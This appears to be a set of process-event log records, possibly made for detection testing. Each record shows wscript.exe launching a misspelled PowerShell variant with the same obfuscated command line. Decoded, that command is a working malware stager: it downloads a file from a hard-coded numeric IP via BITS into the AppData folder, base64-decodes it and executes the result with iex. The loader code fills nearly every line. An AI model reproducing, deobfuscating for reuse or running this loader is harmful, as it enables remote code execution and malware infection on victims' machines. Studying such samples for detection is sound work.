parent_process wscript.exe martian_process powersell.exe "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
parent_process wscript.exe martian_process powerskell.exe "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
parent_process wscript.exe martian_process powerslell.exe "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
parent_process wscript.exe martian_process powersmell.exe "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
parent_process wscript.exe martian_process powersoell.exe "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
parent_process wscript.exe martian_process powersuell.exe "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
parent_process wscript.exe martian_process powers{ell.exe "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
parent_process wscript.exe martian_process powers|ell.exe "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
parent_process wscript.exe martian_process powers}ell.exe "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
